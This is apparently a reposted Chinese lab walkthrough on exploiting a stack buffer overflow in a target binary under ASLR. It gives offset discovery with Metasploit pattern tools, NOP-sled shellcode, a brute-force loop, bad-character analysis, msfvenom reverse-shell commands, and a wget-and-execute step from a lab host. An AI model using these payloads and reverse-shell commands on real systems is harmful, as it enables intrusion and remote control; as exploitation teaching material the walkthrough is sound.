方法一
/SECRET/door2/file
/SECRET/door1/file
/SECRET/door3/file
之前枚举到这三个文件中含有缓冲区溢出,root目录下还有防护策略.
ls -lahR
一开始door3中的file大小为5.1k。
现在door2中的file为5.1k,同时使用ldd命令查看file ldd(查看依赖情况)。
我们查看ASLR设置:
cat /proc/sys/kernel/randomize_va_space
或者:
sysctl -a --pattern randomize
返回2
0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
2 = 全随机。除了1中所述,还有heap。
如果没有设置ASLR的话,ldd看到的值也都是固定的。
注意:这里的ASLR设置并不等于上文所说root权限下执行的那个py文件,switcher.py每三分钟变换一次值,相当于这是两道防护,让溢出的难度变得更大。
绕过ASLR的一种方法是通过编写一个自动循环脚本(循环攻击,总会攻击到溢出的那个点)来强制堆栈,接下来要放入payload需要进行nop sled来爆破一个空间出来。
现在的情况就是,缓冲区溢出的文件随机,空间也随机。
对于溢出来说,有几个点:
首先,溢出的点在哪里(偏移量/溢出值)
溢出后,后面的空间有多大,放合适的恶意代码进去
绕过安全保护机制
首先我们找到那个5.1k的file,然后把他搞到kali里面。
我这里直接base64编码复制出来。
base64 file
cat base64.txt | base64 -d > file
使用GDB进行分析!下面两个插件比较好用。
安装pwndbg
记得更新kali源:
https://blog.csdn.net/weixin_42380348/article/details/89959761
source /root/Desktop/6/pwndbg/gdbinit.py
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
sudo ./setup.sh
这里一定要更新源,在用代理更新下载!如果要修改就执行:
vi ~/.gdbinit---用哪个就注释即可
安装peda
git clone https://github.com/longld/peda.git~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
调试file
我们现在测试一些file到底是否存在溢出
授予权限并尝试执行
chmod +x file
显示给一个值
./file aaaaaaaaaaaaa
./file $(python -c 'print "A" * 2000')
查找一个脚本
locate pattern_
生成1000位值
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
使用GDB执行值
run就是执行
gdb file
run Aa0A.........
这两个工具是对应的,识别溢出点,上面脚本的找到错误点,下面的脚本找到位置:
0x41376641 in ?? ()
查看到错误点在41376641。
分析错误点判断偏移量
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
在171的位置
尝试在偏移量171溢出后情况:
r $(python -c 'print "A" * 171 + "B" * 4')
在溢出后的位置写入BBBB。
ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。
EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。
EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。
可以说如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令。
Nop空间测试ESP
由于开启了ASLR机制,需要进行nop sled来爆破一个空间出来:
run $(python -c 'print "A" * 171 + "B" * 4 + "x90" * 2000')
写入171个A之后,写入4个B,之后写入90。
ESP就是我们溢出之后执行shellcode的地方。
x/s $esp
0xffffc810: '220' <repeats 200 times>...
这时候ESP变了,指向了ffffc810地址,这是nop sled的地址开始处,当ESP指向该地址处后,就会执行栈堆空间的payload获得shell,那么接下来就是要爆破,nop sled被访问。
恶意payload
peda help shellcode–-- 关于 shellcode 的帮助
shellcode search exec–-- 如何使用 'exec' 搜索所有 shellcode。
shellcode display 841–-- 显示找到的代码的来源
shellcode generate x86/linux exec--– 生成代码
shellcode = (
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31"
"xc9x89xcax6ax0bx58xcdx80"
)
检查文件是否做了安全措施
checksec
0x ffffc860
ff ff c8 60
x60xc8xffxff
可以增加10000....
run $(python -c 'print "A" * 171 + "x60xc8xffxff" + "x90" * 20000 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x89xcax6ax0bx58xcdx80"')
for循环爆破找nop碰撞执行shell
for a in {1..1000}; do ./file $(python -c 'print "A" * 171 + "xa0x64x8bxbf" + "x90" * 20000 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x89xcax6ax0bx58xcdx80"'); done
方法二
https://blog.csdn.net/missmxr/article/details/121451920
进入door1,只有file文件,尝试分析猜测文件
objdump -d --no-show-raw-insn file ---查看可执行函数的十六进制显示file
strings file
查看door2,door3目录,都只有file文件,但是分析时发现door2下的file存在strcpy!
参考百度百科熟悉strcpy:
https://baike.baidu.com/item/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA/678453?fr=aladdin
https://blog.csdn.net/weixin_30709635/article/details/99100913
msf生成1000字符串,使用gdb调试
-l 1000
gdb file
run ....
查找溢出位置
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
溢出位置为171!验证下eip的内容!
如果存在溢出,肯定要写入恶意代码,那么有没有写入的权限程序,往下查看!
vmmap查看信息 栈溢出
STACK:栈,用来保存函数运行时的临时变量等
HEAP:堆,一般是主动编写代码来分配和回收堆内存
CODE: 代码段,是用来存放代码的
DATA:数据段,一般用来存放全局变量
参考:https://ch4r1l3.github.io/2018/06/22/pwn从入门到放弃第三章——gdb的基本使用教程/
验证EIP
r $(python -c 'print "A"*171 + "B"*4 + "C"*20')
验证ESP
x/20b $esp
存在c的,那么确认坏字符!
确认坏字符
缓冲区溢出的在生成shellcode时,会影响输入的字符,比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。常见的坏字符有x0a、x0b、x00
现在生成一串与字节数组相同的坏字符。以下 python 脚本可用于生成从 x01 到 xff 的坏字符字符串:
---------
#!/usr/bin/env python
from __future__ import print_function
for x in range(1, 256):
print("\x" + "{:02x}".format(x), end='')
print()
---------
r $(python -c 'print "A"*171 + "B"*4 + ""')
x/256x $esp ---如果出问题就x和b换用
能看到1-8是正常的,后门就全乱了,怀疑0x08后面的0x00和0x09是个坏字符,至于后面全乱序猜测是因为0x0a换行符的问题。重新来,去掉0x09和0x0a:
好看多了,但是从0x20又开始乱了,去掉0x20后门就好了。
注意:这一定要仔细看,因为看少了看错了都会导致msf的payload执行不成功!
重新来,去掉0x09、0x0a和0x20:
坏字符总结为0x09、0x0a、0x20、再加个0x00!(默认排除空字节x00)
msf生成payload
-----------
windows:
msfvenom -p windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 EXITFUNC=thread -b "x00x0ax0d" -f py -v
Linux:
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -b "x00x09x0ax20" EXITFUNC=thread -f c
linux2:
msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b 'x00x09x0ax20' -e x86/shikata_ga_nai -fc
payload:
-a 框架选择
-p 载荷类型
LHOST 本机地址
LPORT
-b 坏字符
-e 要使用的编码器
-f 编译的语言
-c 指定要包含的附加 win32 shellcode 文件
-v 载荷的名称
------------
查看jmp
最后需要看看是否有调用jmp到es(因为我们无法控制 eax),查看能够更好的控制漏洞利用的过程,防止不成功。
objdump -D file | grep -P 'jmp|call' | grep esp
回显esp,不需要jmp做跳板到shellcode,接下来绕过就是用大量的nop即可!
bash执行shell
"xb8x37xc9x64x34xdaxd6xd9x74x24xf4x5bx29xc9xb1x0bx31x43x15x03x43x15x83xc3x04xe2xc2xa3x6fx6cxb5x66x16xe4xe8xe5x5fx13x9axc6x2cxb4x5ax71xfcx26x33xefx8bx44x91x07x83x8ax15xd8xbbxe8x7cxb6xecx9fx16x46xa4x0cx6fxa7x87x33"
------
0xbf96b590
bf 96 b5 90
x90xb5x96xbf
while true; do
$(find /SECRET -type f -size 5150c) $(python -c 'print "A"*171 + "x90xb5x96xbf" + "x90"*20000 + "xb8x37xc9x64x34xdaxd6xd9x74x24xf4x5bx29xc9xb1x0bx31x43x15x03x43x15x83xc3x04xe2xc2xa3x6fx6cxb5x66x16xe4xe8xe5x5fx13x9axc6x2cxb4x5ax71xfcx26x33xefx8bx44x91x07x83x8ax15xd8xbbxe8x7cxb6xecx9fx16x46xa4x0cx6fxa7x87x33"') 2> /dev/null
sleep 1
done
ls -la ---查看文件大小
-size ---表示文件大小
-type ---文件类型
f 普通文件
-------
wget http://10.211.55.19:8081/exp.sh
chmod +x exp.sh
./exp.sh
成功!!
作者:YLion,文章转载于FreeBuf.COM
• 往期精选
下方点击关注发现更多精彩!
原文始发于微信公众号(银河护卫队super):缓冲区溢出-实例分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论